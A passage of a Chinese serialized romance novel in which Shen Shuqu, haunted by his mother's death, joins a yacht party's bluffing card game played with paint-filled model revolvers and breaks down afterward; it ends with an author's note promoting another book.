活活一哭二闹三上吊,非把这玩意塞给他,说是可以保平安。 他不信这些也从来不去庙里,想要什么就去争,争不了就抢,真有心思总能弄到手,靠许愿有什么用。 沈书渠脸上有着异乎寻常的固执,沉声说:“还是信吧,宁可信其有。” 陆闻轻也没跟他争,笑着说:“要不要查查黄历。” “…说了是不小心点上去的。” 深夜的海上有细微的海浪声。 沈书渠侧身背对着陆闻轻,睁着眼看窗外漆黑的夜色。 他的心跳逐渐调整成身后呼吸的频率。 沐浴露的气味丝丝缕缕传来,被子里有他的温度,只要向后转身就可以碰到他。 沈书渠很慢很轻地转过身,就着阴暗的光线用眼神眷恋而克制地描摹着陆闻轻的轮廓。 他只看一会,一会就好了。 诸事不宜的夜里,他逆势而行,偷一点回忆。 沈书渠张了张口,无声地叫了叫他:“陆闻轻。” …… 烈日当头,几乎要将人晒脱一层皮,但极致的暴晒之下反而滋生出一种冰冷的凉意。急速驶来的车如同猛兽,尖锐的刹车声撕裂耳膜,引擎盖撞击身体发出很沉闷的声音。 沈书渠眼睁睁看着温若桥被撞出数十米,呆愣的看着她躺在地上,身体无法控制地抽动,口鼻中喷出鲜红的血。 他手脚冰凉,连滚带爬到她身边,六神无主地抱起她的身体,“妈妈,妈妈……”“宝宝……”温若桥艰难地抬起手,摸上他的脸:“不要哭,宝宝不要哭,妈妈不痛的…….沈书渠拼命摇头,眼泪断了线一样掉下来:“妈妈你别说话,别说话……我救你,我回去找人救你。”他刚从那个牢笼里逃生,又只能回去求救。 “不、不要回去……”温若桥勉强地笑了一下,手指不断神经质地打颤,“你听、听妈妈说……去找外公……去找……”“我不去,我不去,妈妈你别死,妈妈!”沈书渠用力抓着她的手腕,却阻止不了她软下去的身体。“我不跑了,妈妈……我不跑了……你醒醒……” 风声渐停,沈书渠静静看着白幡挂满,温怀瑾冰冷的双眼从黑白照片中直勾勾凝视他。 “要是没有你就好了。”“若若没有生过你就好了。” 身边的人来来去去,不断穿梭的吊唁身影满含肃穆,沈书渠低下头看着自己的手,默默地往后退了一步。 肩膀突然被人拍了一下,沈书渠回过头,看到一张肆意倦懒满含笑意的脸。 “干什么呢?” 沈书渠张了张口,却没能说出话来。 “小哑巴。” 男人用手揉揉他脑袋,笑吟吟道:“哥哥带你私奔去,笑一笑,没有人可以再欺负你,不要怕。”沈书渠想叫他别走,可是嗓子好像被什么堵住了一声也没有叫出来,眼睁睁看着男人越走越远。 “砰”一声,他胸口炸开一片血花。 沈书渠满手鲜血,几乎堵不住那个泉眼儿。 “只要你犯错她就会受罚,是你害死了她,如果你不蛊惑她逃走就不会死,是你。” 妈妈、外公、陆闻轻……好像每次他想要往前走一步,想去挣脱那个枷锁就会有人因此而受害,就有人永远离开他。 沈书渠挣扎着往后退,接着一脚踩空陡然落入深渊,猛地挣扎然后落进一个怀抱里。 “没事了没事了,别怕。” 陆闻轻被他惊醒,下意识把人捞进怀里:“怎么了?做噩梦了?” 沈书渠半梦半醒,颤抖着抱紧眼前的浮木,闷着头一个劲发抖。 陆闻轻脖子上传来湿漉漉的热意。 他这是……哭了? “别怕,没事了。”陆闻轻轻轻拍着他的背,低声安抚:“我在呢,睡吧没事了。” 21、闻笛思春(一).. 沈书渠挣扎了两下,喘气声沉重而压抑像是要窒息。 他的哭和别人不一样,是一种无声的很克制的,像是只是身体里多余的水分要从眼睛里出来,而不是在哭。 陆闻轻半起身将他拢在怀里,低头在他的额头上亲了一下:“安心睡吧,我在这儿。” 沈书渠慢慢恢复平静,又睡着了。 陆闻轻骤然惊醒,安抚他完全属于本能反应,现在冷静下来,有很多地方想不通。 兄弟阅墙的事比广告里安插电视剧还普遍,沈正兴深爱亡妻这也不能造假,虽说有了后妈就有后爸,但沈书渠不太像会任人欺凌的性子。 如果不是家庭缘故,那伤是怎么回事? 他想不明白,脑子里猛地闪过沈书渠仰头看人,阳光落在他眼角眉梢的明媚画面,但没等他想明白又消失不见。 睁眼到天亮,陆闻轻忽然有个念头:他是不是梦见白月光另娶他人,委屈哭了? 沈书渠早上醒来,下意识眯了眯眼,被近在咫尺的一张睡颜吓了一跳。 他不知道什么时候滚到陆闻轻怀里了,鼻尖就压在他的颈窝里,而嘴唇正好贴着锁骨,简直像是相拥而眠。 他在那张脸上停留几秒,轻手轻脚爬起来拿衣服进卫生间换,正洗脸的时候门哗啦一声开了。 “你在研究水力发电?” 沈书渠眼睫毛上还挂着水珠,有些无辜地眨了眨眼,“我吵醒你了?抱歉。” 陆闻轻倦色浓重,“你打算怎么补偿我?” “…”沈书渠有些茫然,这不是一句口头上的客套吗?大家心照不宣的原谅这个小错误。 沈书渠想了想,问他:“你早上想吃海鲜粥吗?” 他说这句话的时候微微抬眼像仰视的角度,睫毛上挂着的那滴水珠终于掉下去,显出一种讨好。 “不要姜。”陆闻轻拿过毛巾,在他脸上擦了两下:“可以吗?“ 沈书渠眨了下眼,由他擦了两下才反应过来,忍着一早的躁动接过毛巾,说:“可以的。” “昨晚睡得好吗?” 沈书渠想起刚才在他怀里醒来,耳根子不自觉红了一小片,“还、还好,你呢?” “我一般,因为……”陆闻轻故意放慢语速,仔细打量着他的脸色变化,慢条斯理补了一句:“有点认床。” 沈书渠松了口气,还好不是他的缘故。 “你手机呢?一会帮我个忙。” “录个另一半儿视角的洗漱视频发微博,偶尔我也要营业一下已婚人设,免得有人怀疑我是单身,配合一下?”早起的陆闻轻嗓音沙哑眼睛微红,这么注视过来的时候有一种很强烈的撩人劲儿。沈书渠抓紧毛巾,火速放在架子上转身:“我去找手机,你先准备。” 出了卫生间,沈书渠用力松了口气,找到手机回来打开摄像头,陆闻轻骨相生的好,连滤镜都不需要加。沈书渠录制时不自觉看入了迷,从刷牙洗脸再到抬起下颌偏头敛眉对镜刮胡子,绷紧流畅的脖子弧度如一条锋利的线。他嘴唇微抿,表情凉薄而漫不经心,颈侧的血管若隐若现,喉结冷不丁滚动一下,带来很强烈的野性张力。手机镜头高度清晰,能将每一个细节展现在眼里,像是真的在看爱人洗漱,沈书渠心热难熬,别了下眼。 “老婆,镜头歪了,拍我能认真一点吗?” 沈书渠手一抖差点把手机摔地上,又抬起手对着他的侧脸重新聚焦。 陆闻轻扯过毛巾却没擦脸,而是带着水珠靠近镜头,隔着手机微微俯身下来用一个很像接吻的视角笑了下:“宝贝儿,手酸就关了吧。” 沈书渠指尖颤了两下,按了停止。 陆闻轻站直身子往后退了一步,“录了营业的,活活不在这儿,让别人拍也不合适,不介意吧?” 沈书渠呼吸微乱,握着手机的手也有些颤,“不、不介意,应该的,你先换衣服,我一会发给你。” “麻烦你了。”“做不了。” “不麻烦,我去厨房看看有没有食材,一会见。” 虽然陆闻轻看起来真的很绅士,也清楚是在营业,但沈书渠还是控制不住心跳,出了门吹了几分钟冷风才冷静下来。 其他人昨晚玩得晚,都还没起。 厨娘正在备菜准备早餐,见他来忙道:“沈先生您怎么到后厨来了,想吃什么您吩咐一声就好了。” “我想亲手做,麻烦你教教我。” 楚津东醒得也早,看到沈书渠往厨房去狐疑了下,忙完工作过去时发现他正给一份新出炉的海鲜粥挑葱姜。“沈总亲自下的厨吗?我有这个资格尝一口吗?” 沈书渠挑了一半,顺着砂锅边缘盛了一小碗递给他:“楚先生请,我第一次做,不一定好吃。” “怎么会呢。”楚津东接过来,舀了一勺送进口中,鲜香嫩滑的海鲜和米香恰到好吃的融合,简直入口即化。“很好吃,没想到沈总厨艺这么好,还这么细心把葱姜都挑干净,要是谁能做沈总的女朋友真是幸福。” 楚津东吃着粥,旁敲侧击道:“沈总有女朋友了吗?” 沈书渠笑笑:“没有,楚先生还要吗?” “那我不客气了?” 沈书渠又给他盛了一碗递过去,把剩下的用盖子盖起来交给厨娘,结果众人起来看到海鲜粥都纷纷要来尝。厨娘精心准备的餐点反而无人问津,沈书渠有些无奈,只好把自己的那一碗留下来给陆闻轻。 “这海鲜粥是怎么做的?跟以前吃过的不一样?” 小夏没吃过这种现钓海鲜做的粥,含着勺子眼睛都亮了:“好香,我从来没吃过这么好吃的粥。” 顾向平得意洋洋:“我就说出海对了吧?不来你们能吃到这么好的海鲜粥?厨娘姐姐呢?再来一碗。” 厨娘拎着勺子无奈:“顾少,没有了。” 郑程也说:“没有再煮一份,我们都还没吃饱呢。” 齐敬怪道:“海鲜不够了?昨天晚上不是又钓了一点吗?” 厨娘朝沈书渠的方向看了看:“不是,这粥不是我做的,是沈先生一早起来做的。” 众人唰地看向沈书渠,郑程眼里瞬间浮现几分讶色,顾向平惊道:“沈总做的?我刚刚还没品出味儿呢,再做一份怎么样?“ 楚津东笑说:“我能证明,早上我看着沈总做的,还仔仔细细把姜葱挑干净了,我尝了第一碗。” 顾向平恍然:“我说怎么吃起来格外舒服。” 小夏已经完全忘了自己是跟谁来的,捧着脸说:“完啦,我要爱上沈总了,要是能嫁给他就好啦。”沈书渠还没说话,就听见身后一道沙哑嗓音说:“做什么,真当他厨子了?想吃不会自己找人做?” 小夏被他吓得后颈发凉,缩了缩脑袋。 陆闻轻跟陈亦洲一起进门,坐下来瞥了满桌子没动过的各色餐点和空荡荡的砂锅。 怎么?这粥是大家都有,不是他一个人的? 沈书渠把自己面前那碗放在他跟前,又拿了只白瓷勺子放进去:“你尝尝看?我第一次做不一定好吃。” 林锦一吃就知道是给陆闻轻做的,忍不住阴阳怪气:“沈总亲手做的怎么会难吃啊,要是他特地给我做,我肯定感动死了。” 沈书渠:“…”众人各怀心思,但目标都在沈书渠身上。陆闻轻尝了一口,把勺子一放:“盐多了。”“多吗?不多吧,我觉得正好啊。”“我也觉得正好啊。” 沈书渠还没尝过,盯着粥碗看了一会。 陆闻轻没再吃那碗粥,结束收拾的时候沈书渠拿着勺子尝了一口,咸淡正好,没觉得放多啊? 可能他口味淡,那下次少放一点。 吃完饭一群人要去晒太阳拍照,顾向平伸着懒腰觉得没什么玩的了,转头去问沈书渠:“你有什么想法吗?” 沈书渠还在想那碗粥,愣了一下,说:“船长说明天天气不错,可以早起看海上日出。” 林锦找机会到沈书渠边上,怪声怪气道:“沈大厨师,难受可以说啊,不要一个人闷着抽烟消愁。” “还好。”沈书渠咬着烟,看远处粼粼海面。 “你就嘴硬,给他放了那么多烟花有什么用啊,他既不喜欢还不感动,铁心石头肠子,男人就没一个好东西。”沈书渠单手撑着栏杆,淡淡道:“放烟花本来也不是为了让他感动,是祝贺他拿奖,你获奖我也会放的。” “你给我放几万只啊?” 沈书渠:“两只吧。” “你还能再偏心一点吗?”林锦恶狠狠瞪了一眼,“昨天吃完饭我去找你你怎么不在房间?” “我跟陈主任在甲板。” 林锦顿时站直身子,严肅道:“你跟他聊什么?不会是想利用他查你爸吧?沈氏这些年一直是拿奖表彰的模范企业,你能查出什么?难道你怀疑你妈妈的死有问题?” 沈书渠:“只是聊天,没有要查什么。” “你不要把所有事都装心里一个人扛,万一我…”林锦说了一半忽然停住了,他既没有家底也没有本事,他能帮沈书渠什么? 他是豪门笑柄,人不聪明也不够强大。 林锦趴在栏杆上,茫然道:“书渠,你为什么对我好啊?” “这要理由吗?” “当然要啦,你喜欢……他,是因为他很厉害也很强大,我能看得出来顾向平很怕他,就连齐敬跟陈主任也都很尊敬他,我好像什么都做不好,还要你保护照顾,我要是跟他一样强大就好了。” 林锦觉得,陆闻轻这样强大的人吸引沈书渠才正常,自己有什么优点呢? 沈书渠偏过头看林锦,一直欢笑的娃娃脸上满是落寞,他劝过林锦离开林家,没地方去可以到锦盛上班,不喜欢上班他也养得起。 林锦笑笑拒绝,说想留在林家为了妈妈赎罪,他欠了别人东西就要还,妈妈没机会那就代替她还。 “喜欢不一定要理由,也不是强大才会获得别人的青睐,你就是你,不需要去学谁。” 做人就像做饭,油盐酱醋缺一不可,都想要变成对方那就没办法吃了,再小的螺丝钉,也有需要它的地方。 “你单纯善良,别人也学不来。” 林锦还是失落:“可是善良有什么用呢?善良也不会帮到你什么。” 沈书渠笑了下:“我不需要你帮我什么,善良就很珍贵了,况且就算你变成他那么强大,我也不会爱上你啊,我对你好是因为你值得,做你自己就好了。” 林锦表情扭曲了一下,莫名产生了一个疑问:“那他要是不会赚钱了没那么帅了身材没那么好了还秃头了你还喜欢吗?” 沈书渠忍了忍笑,说:“他不会的。” “我是说万一。” 沈书渠想了一下那个画面,忍不住又笑了下:“秃头那也没办法,他也不想的,好了别难过了。” “沈总,你们来呀~” 听见这个声音,沈书渠额角忍不住又是一跳,总觉得不会有好事。 果不其然。 他一回头就看到陆闻轻站在身后,居高临下丢了一句极其嫌弃的:“一个真正优秀的、拥有自我要求和管理的男人是不会让自己身材不好、没那么帅、还秃头的。” 22、闻笛思春(二).. 沈书渠回头时笑意还未散去,映着海面波光有一种很温柔很适合拿来爱的样子。 林锦后颈发凉,火速道:“我先进去了,书渠你也赶紧进来。” 陆闻轻接替他的位置,靠在栏杆边:“聊聊?” “聊什么?” “聊你喜欢的人。”陆闻轻微抬了下下颌:“不是说身材不好长得不帅没钱秃头也喜欢么?他有这么好?” 他既然听见了沈书渠也没再隐瞒,总是不说他反而会起疑,“嗯,很好。” “有多好?” “很好。” 沈书渠仰望着金灿灿的日头,想:这个世界不会有比陆闻轻更好的人了,除了妈妈之外也不会有比 陆闻轻更爱他的人了。 “是比我生命还要重要的人。” 海风卷来微腥的气味,深海海面发黑,有一种很宁静但压抑的窒闷。 陆闻轻声音很沉,带一种警告和纠正感:“好不好和配不配是两件事,人不应该爱不该爱的人,应该分清自己该去喜欢谁。” 沈书渠指尖一顿,侧过身笑了下:“我明白。” 陆闻轻旁敲侧击提点:“他好不好是你主观的,客观因素下他爱不爱你才重要,感情是要双向奔赴不是靠谁牺牲就能获得回报,你那个叫献祭。” 沈书渠手有点凉,收回来放进口袋:“我知道,我没想过跟他有什么,只要看看他知道他平安健康就够了。” “……”陆闻轻一口气没上来,握住他手一攥,“怎么这么冷?别吹风了,顾向平要玩轮盘游戏,回去吧。” 沈书渠指尖动了动,没抽开。 陆闻轻体温很高,攥着他指尖带来很安全的温度,像是冬夜里撞入一个温暖怀抱。 “会不会玩?” “会一点。” 陆闻轻觉得有点怪,他懂的东西好像太多了,知道海底介质的区别下鱼线分别要放到多深才钓得到鱼,要多大饵,甚至会玩各种牌。这其实不太像他会喜欢的东西。 “有人教过?” 海风将陆闻轻的头发吹得微乱,逆着光低头的时候有一种隔世的温柔,沈书渠晃了下神,仿佛看到了五年前的陆闻轻。 “嗯……是他教的。” “壁球跟射箭也是他教的?钓鱼呢?” “嗯。” 陆闻轻觉得他在透过自己看一个很遥远的人,这个人跟他有共同的回忆,把他塑造成现在这个优雅强悍,几乎无所不能的沈书渠。他身上有他的影子,被他镌刻过烙印。 这是没办法抹去的记忆,已经长成沈书渠的血肉,成为他的一部分,想要剔除只能获得一个鲜血淋漓的碎片。 “他结婚了?” 沈书渠怔了一下,笑笑:“嗯。”迟疑片刻,又问他:“那你呢?这些年有喜欢的人吗?”陆闻轻瞥他:“有,他长得很漂亮,很能干很懂事,又爱哭,送礼物也不知道要收,人笨、固执。”沈书渠唇角沉了沉,然后又笑起来:“可能没什么安全感吧,多陪陪就好了。”他本以为自己会心痛,其实真说出来却没有觉得很难受。海面平静暖阳舒适,陆闻轻站在他身边像朋友一般说自己喜欢的人,有些滞涩的东西突然就通畅了。他希望陆闻轻平安顺遂、拥有最好的爱情结婚生子然后长命百岁,路上鲜花满途,掌声遍地。想到这里,他窒闷的心门好像被一只手推开,缓缓吹入春风。陆闻轻不轻不重捏他的手:“会爱我?” 沈书渠想起那条独一无二的珍珠和亲自的庆生,抽回手放回口袋,真心笑笑:“会爱的。” “最好是。” 沈书渠不太想继续这个话题,“走吧,顾二少要等急了。” 两人回到船舱,游戏还没开始。 圆桌围了六把椅子,每一个位置都放了一把蟒蛇357。 沈书渠望见漆黑枪体,瞳孔猛地一缩后退了半步。 心脏在一瞬间抽紧,他下意识攥紧手指,冷汗从脊背轰然炸开。 陆闻轻见他直勾勾盯着枪,解释道:“模型枪,里面装的不是真子弹,是颜料。” 沈书渠轻吸了口气,“嗯。” 顾向平招呼人坐下,除了他之外齐敬、郑程、楚津东依次入座。 陈亦洲身份特殊不玩这种游戏,剩下两个位置没人来玩。 林锦疯狂摇头:“我脑子不够用,我不玩。” 轮盘游戏的规则其实很简单,牌堆中分别有十五张KQ以及三张大王,大王可以充当任意牌面,每局随机出现一张恶魔牌,不计入牌堆上限。 开局抽一张牌作为目标牌,而玩家必须出这张牌。 玩家手上目标牌数量随机,出牌时反扣桌面,除了上家之外其他玩家无法得知牌面真假。玩家可以选择质疑或跟牌,若质疑错误则本人开一枪,反之对方开枪,若开到三张大 王,在场所有人必须开枪。六分之一的概率依次叠加,若有玩家出局将重新发牌,开始新的一局。 小夏终于记起自己是陪郑程来的,剥了颗汁水淋漓的葡萄递到他嘴边:“哥,一定要赢哦。” 郑程笑着使唤他:“再剥一个。” “哎还缺一个人。”顾向平环视一圈,落在沈书渠脸上:“沈总,你会玩吗?来玩一把怎么样?” 沈书渠把视线从枪上挪开,“不太会,你们玩吧。” “游戏总得有彩头吧?你打算拿什么?”齐敬支着头笑问。 顾向平拍拍手,立即有人送上来一个箱子:“我早想好了,上次拍卖会上那对蓝钻袖扣。” “我当是什么好东西。”陆闻轻随手拿起来,这袖扣的设计简单内敛,蓝钻品质倒是不错。 他看了眼沈书渠手上那对萤石,拉开椅子坐下来,“陪你玩一把。” 顾向平摆手让人先拿开,不服气道:“不是好东西也是绝无仅有的一对,要是我赢了你们给什么啊?” 齐敬从手上撸了个青金石戒指下来,“这个吧。” 楚津东拆了块表放在桌上,温柔地笑了下:“我一个穷律师拿不出太值钱的东西,就这个表吧,希望大家不要嫌弃。” “谁敢嫌弃楚二少啊,这只江诗丹顿少说要上百万,你们律师说话说起话来严谨,东西往外送是一点儿不含糊啊。” 楚津东朝沈书渠看了眼,又说:“彩头嘛,给赢家就值得。”顾向平看了一圈,最后落在陆闻轻身上:“你的呢?”陆闻轻淡淡道:“我没准备,赢了随你们提。” “那缺个人怎么办?陈亦洲死讲究,不玩儿这种带枪的游戏,沈总,你先来试一试?” “好。” 顾向平做好了长篇大论游说的准备,没想到他能这么容易就答应了,“沈总,你比想象中好说话多了。”沈书渠脊背挺直,眼神无法避免地落在那只蟒蛇357上,耳里不断传来尖锐的嗡鸣声,连鼻端都嗅到了血腥气。第一回合,目标牌是Q。沈书渠微攥了下冰凉的指尖,出了三张牌。顾向平跟出两张,“不开牌。”郑程从小夏手上叼走一颗葡萄吃了,坐直身子出了牌,“开。” 牌面掀开,赫然是两张Q,郑程葡萄吃了一半突然没味儿了。 “快点,别耍赖。”郑程在众人的催促之下拿起枪对着胸口扣下扳机。 砰。 无事发生。 郑程眉头一松,小夏立即凑过去亲他一下,“哥你好厉害,肯定也有我葡萄的功劳。” “一会给你奖励。”郑程往他脸颊上捏了下,不自觉也坐直了身子。 他开过一枪,没死也代表更加危险。 沈书渠眉眼微垂看不出情绪,而交叉在桌上的那只手像极一个高高在上的审判者,仿佛桌上的人全是他的猎物。 郑程盯着他看了几秒钟,沈书渠大概也发现了,和他对视时似乎很矜持地笑了下。 他笑起来克制优雅,唇角弧度不大,郑程心莫名有些痒,随手揉了揉怀里娇柔的小夏催下一局。 重新洗牌,第二局目标牌是K。 沈书渠上把手上只有两个Q所以出了三张假牌,这次他手上有三张K,在场的人里除掉顾向平是最简单的。 接下来,楚津东、郑程……顺利的话,他可以保陆闻轻到最后不必开枪。 顾向平笑了下,“开。” 牌面掀开,他顿时傻眼,随手拿过枪冲着胸口,接着一声怒骂:"操,怎么一发入魂啊?谁装的子弹!" 沈书渠:“顾二少,去换件衣服吧。” 顾向平起身,看到陆闻轻眉角含笑,忿忿道:“别笑,下一个就是你!” 陆闻轻漫不经心一推牌:“听不懂,人鬼殊途。” 有了顾向平的“死亡”,场上氛围瞬间变得凝重,每个人都盯着牌桌,试图猜出上家的心思。 猜中,活。相反,死。第三局和上一局的目标牌一样,郑程发现沈书渠唇角有笑意,福至心灵地选择跟牌不开。楚津东跟了四张,牌面掀开赫然宣告了他的死亡。顾向平换衣服回来,看到楚津东也“死”了,哈哈大笑:“你怎么也死这么快?大律师,赶着来陪我啊?”楚津东有些尴尬,“我不常玩这种东西,死得快也很正常,书渠很厉害啊,这么久一次也没有动过枪。”陈亦洲冷眼旁观,饶有兴味地撑着下颌问林锦:“他一向这样?” 林锦凑头过去,没听明白:“什么?” “没什么。” 沈书渠看似平静,其实不动声色一个个铲除,这么下去的话,恐怕除了他和陆闻轻,在场一个都活不了。 场上剩下的人越来越少,也就代表危机越来越高。 只要这次除掉郑程,下一局由陆闻轻开牌齐敬,那场上就会只剩他们两个,他认输,两人都不用举枪。 轮到陆闻轻,他单手撑着头,视线在沈书渠脸上停留了一瞬,唇角微微勾了下,“开。” 沈书渠指尖一松,倏地看向掀开的牌面,呼吸瞬间一窒。 陆闻轻拿起那把凶恶的蟒蛇357,如毒蛇般抵住胸口,指尖一勾扣动扳机,那一瞬间沈书渠的手剧烈地颤了一下。 作者有话说?显示所有文的作话 感谢小天使们的5个霸王票、351瓶营养液~ 陆闻轻:坏了,我真是替身? 安利下一本纯甜的糖水《别骗校草搞网恋》(有兴趣的宝贝可以点点下面的封面或者进入专栏收藏蹲蹲~~) 文案: 季酌同学被人绿了,拉着他酒吧买醉三天,声泪俱下求他帮忙把小三钓走。 他哭得实在凄惨,季酌一时心软答应了。 对方是计算机系学神陆淮致,那个传说中的高冷校草。 季酌找了个小号和他搞网恋,让拍照拍照,让叫哥哥叫哥哥,然后他就发现……这个高冷学神私下冷不了一点。 他似乎是个锁骨控,养宠物似的给他寄很多项圈和漂亮裙子,让他拍照给他看。 季酌画画需要人体参考,陆淮致从手到背到腹肌拍给他,知道他声控还会用低沉嗓音给他念晚安故事。 就在季酌觉得时候差不多的时候,同学小心翼翼告诉他所谓小三……其实是女生的小舅舅。 陆淮致没绿过人,他钓错人了。季酌晴天霹雳,一咬牙删除好友,注销账号,企图从陆淮致的世界里消失。 陆淮致那么帅追求者那么多,很快就会忘了他的,朋友安慰他就算生气也找不到你头上啊,你是男的啊。 季酌松了口气,警报解除。 后来有一天他去计算机系找同学,被陆淮致拦住去路,“濯濯,骗我感情?” 季酌:现在道歉还来得及吗…… 季酌有口欲期,发作时看见东西就想咬,尤其是陆淮致的手。 有一次露营回程,车在半路抛锚,两人一起在路边等。他突然发作,盯着陆淮致的手,忍了又忍终于忍不住问他:“我能、咬你一下吗?” 陆淮致:? 季酌用湿漉漉的眼睛保证:“不会让你很疼的,我轻轻的,可以吗?” 陆淮致大发慈悲,把手递给他。 季酌小心翼翼捧住他的手,慢吞吞咬了一会,发现指节上有牙印又抱歉地舔了舔。“谢谢,我咬好了。” 陆淮致对感情没什么兴趣,直到看到一截纤细、很适合戴漂亮项圈的脖子出现。他比想象中听话,又软又乖。 他人生中第一次被人“甩”,不仅拉黑删除还小心翼翼装作和他不熟。 想的美。 23、闻笛思春(三).. 脑袋里“嗡”一声,沈书渠搁在桌上的那只手青筋毕现,等开了下一局他才反应过来。 场上只剩他、郑程、齐敬和陆闻轻。 沈书渠喉咙剧烈滚了一下,出了三张真牌,郑程跟了两张,齐敬跟三张,陆闻轻也跟了三张。 一轮过去没有人开牌,氛围更加紧张,郑程连葡萄都不吃了,一把推开小夏正襟危坐盯着右侧的齐敬。 三次出牌,沈书渠手上只剩最后两张,郑程剩三张,齐敬剩三张,陆闻轻剩两张。 沈书渠扫过在场所有人的牌,薄唇轻启:“开。” 一张恶魔牌。 陆闻轻点在桌面的指尖一顿,错愕抬头。 沈书渠拿起枪对准自己的心脏,扣下去的那一瞬间,他心跳几乎骤停。 沈书渠拿枪的样子不像是玩游戏,眼底甚至有一种很决绝像是在玩真枪的严肃,仿佛这一枪开下去终结的不是游戏而是他的生命。 一片血花炸开。 陆闻轻站起身一把攥住他的手,发现他银边眼镜后的双眸赤红一片。 沈书渠挣开他的掌握把枪摔在桌上,彬彬有礼说了句“失陪”,转身便走了。 这两天的沈书渠给人的感觉就是清雅温柔无所不能的大美人,早上还给他们煮了粥,简直是高岭之花下凡尘。 这会儿突然不高兴把所有人都吓到了。 郑程朝顾向平踢了一脚:“都怪你的馊主意,玩什么轮盘游戏。” “不是,这游戏怎么了?以前不是也……也玩过吗。”顾向平声音越来越小,发觉陆闻轻脸色难看也不敢吭声了。 林锦见势不对,立刻起身跟上去,被陈亦洲抬手拦住:“听说你会打壁球,有没有兴趣打一场?楚公子也一起?” 楚津东往门口看了眼,笑笑:“好啊。” 沈书渠大步回了房间,额角与脖子上的青筋几乎崩裂。他拧开水龙头,摘掉眼镜丢开不断用冷水浇在脸上企图平静,直到衬衣几乎全部湿透。他双手撑住洗手池不断喘息,手臂的颤抖越来越严重,习惯性去口袋里找药,突然记起被小夏弄到海里去了。焦躁一瞬间席卷,他狠狠摸起杯子砸在镜子上,崭新镜面瞬间四散崩碎。他盯着掉在洗手池边缘的一块,很缓慢地伸出手。 —叩叩。 “沈书渠。” 沈书渠收回手,深吸了口气,说:“你们继续玩,我没事。” 他嗓音很颤,带着浓浓的压抑,陆闻轻叩门的手顿了顿,刚才他开那一枪的确是故意试探。第二局开始,他发现沈书渠是有目的在保他,只要按照他的想法走他应该是那个必赢的人。 他故意举枪一是确认,二是想把那个“向自己提任意要求”的机会给他,没想到他会突然大杀四方弄死所有人,生生结束了游戏。 陆闻轻:“沈书渠,你把门打开,我有话跟你说。” “我不碍事,你跟他们玩吧。”沈书渠从水池里捡起眼镜,刚戴上就听见门轰然一声被人踹开。“我跟谁玩?”陆闻轻一进门就看到满地碎玻璃,抓住他的手腕往自己一带,“受伤没有?” “没有。” 陆闻轻检查一遍,发现确实没受伤才松了口气,“是埋怨我擅自开枪坏你计划了?” “没有,我只是有点累了。” 沈书渠推开他肩膀想要出去,猝不及防被他按在水池边缘,接着腰上一紧被迫与他对视。 “不碍事砸镜子干什么?” “沈书渠,不高兴了可以生气,可以发脾气,不需要说我没事我不要紧。” 陆闻轻众星捧月惯了,从来只有别人跟他低眉顺眼,第一次跟人道歉竟然生出一种无计可施的心情来。 “刚才是我不好,以后你想做什么我都配合你,我保证不会再有这样的事发生。” 沈书渠没吃药,无法抑制的生理性暴躁席卷而来,“你保证,你能拿什么保证,赌那个六分之一的几率会不会眷顾吗?!” 陆闻轻心头一震,想提醒他这是个游戏,但话到嘴边却说不出来。 尤微说他脾气不好,冷漠,这一刻才有一个非常清晰的认知,沈书渠那些平和温柔全是表象,真正的他冷漠尖锐,不留情面。 他看到沈书渠扣动扳机的那一刻,心跳几乎骤停,换位思考便能理解他气从何来。 “对不起,是我不好,我不知道你害怕这个。”陆闻轻伸手将他拢进怀里,发现他在细微的发颤,便把声音和姿态都放得很低:“以后不会了,不管任何时候我都不碰枪了。”沈书渠挣扎了下,接着额头上一热。 陆闻轻摘掉他的眼镜,很轻地在他眼皮上亲了亲:“你也还了我一枪,这次算我们扯平了?” 沈书渠眼尾潮湿,默默别过头。 他这样子比骂一顿还让人难受,陆闻轻用力把人揉到怀里,“我会让顾向平把东西全销毁,绝对不会再在你面前出现。” 陆闻轻看他那一小片“血色”也很扎眼,帮他解衬衣扣子,“你衣服湿了,脱下来换件干净的。” 沈书渠:“我自己来。” 陆闻轻把眼镜给他戴上,说:“我去帮你拿点东西吃,下午不出去了,你先换衣服我很快就回来。” 沈书渠头很重,换了衣服钻进被窝里睡了一会,一闭上眼就浮现那个场景,又睁开。 其实是他自己反应太大了,应该知道那是模型枪也知道陆闻轻并没有错,是他自己的本能反应迁怒了陆闻轻。 林锦给他发消息:还好吗? 沈书渠:没事。 林锦:我去看看你吧? 沈书渠:我睡一会。 陆闻轻回来的时候沈书渠睡着了,连眼镜都还没摘,侧脸压着枕头看起来很苍白。 如果说他怕枪,但自己扣下扳机的那一刻又毫不迟疑。 他未免太“严于待人宽于律己”了。 陆闻轻帮他把眼镜摘掉,低声说:“本来想让你赢,现在便宜了齐敬,袖扣是他的,跟我许愿的机会也是他的了。” 陆闻轻坐了一会,起身去找林锦。 “聊聊。” 林锦紧张兮兮地看着他,“聊、聊什么啊?” “沈书渠害怕枪声?” 林锦想了想,茫然摇头:“不怕吧,我不知道他害怕。” 陆闻轻一言不发盯着他,林锦被看得胆战心惊,嗫嚅道:“我真的不知道,他一向不怎么跟我说私事的。” “你知道他身上的伤吗?” 林锦愕然,很快又低下头,打定了主意一问三不知:“不知道呀,他受伤不会告诉我的。” 他被陆闻轻无声的视线盯得头皮发麻,不是不想说,是不能说,真讲了沈书渠一定会把他皮扒了。 “你问这些做什么啊?”林锦背上冒出冷汗,小心翼翼道:“我对他了解真的没那么多。” 接下来的几天航程,除了第四天看了一场日出之外沈书渠都没怎么出房间,他心情不好,也没人敢去打扰他。 原定一周的行程因为天气原因提早一天返航。 进港时陈昱在岸边张望,沈书渠并未给他发消息,便问:“你怎么知道我今天回来?” 陈昱给他拉车门,笑笑挠头:“陈泽说这几天天气不怎么好,您可能会提前回来,我昨天就到这里来等了。” 陆闻轻瞥了眼,漫不经心道:“你跟着沈总多久了?” 陈昱恭敬道:“四年多了。” 沈书渠出海五天,公司堆了一票文件等着他来解决。 沈安朝令夕改,找了不少麻烦但也都被叶缘用沈总不在,要等他回来再决定四两拨千斤顶回去了。 沈安指着叶缘鼻子骂“你是他养的狗吗这么衷心,叶缘也气极了,一叉腰当着办公室的面儿就说:“我就是沈总养的狗,您想打狗也得看主人。” 沈安没料整个公司都对沈书渠这么死心塌地,尤其是这个难缠的叶缘,气得摔了两个盆栽走了。 沈书渠听完,无奈道:“你也太…” 叶缘余怒未消,叉着腰骂:“狗也比他强,仗着董事长撑腰就把人当牲口,您到底什么时候把他赶出去。” 沈书渠合上文件,说:“再忍忍,年终奖给你们加20%作为补偿,从我私人账户出。” 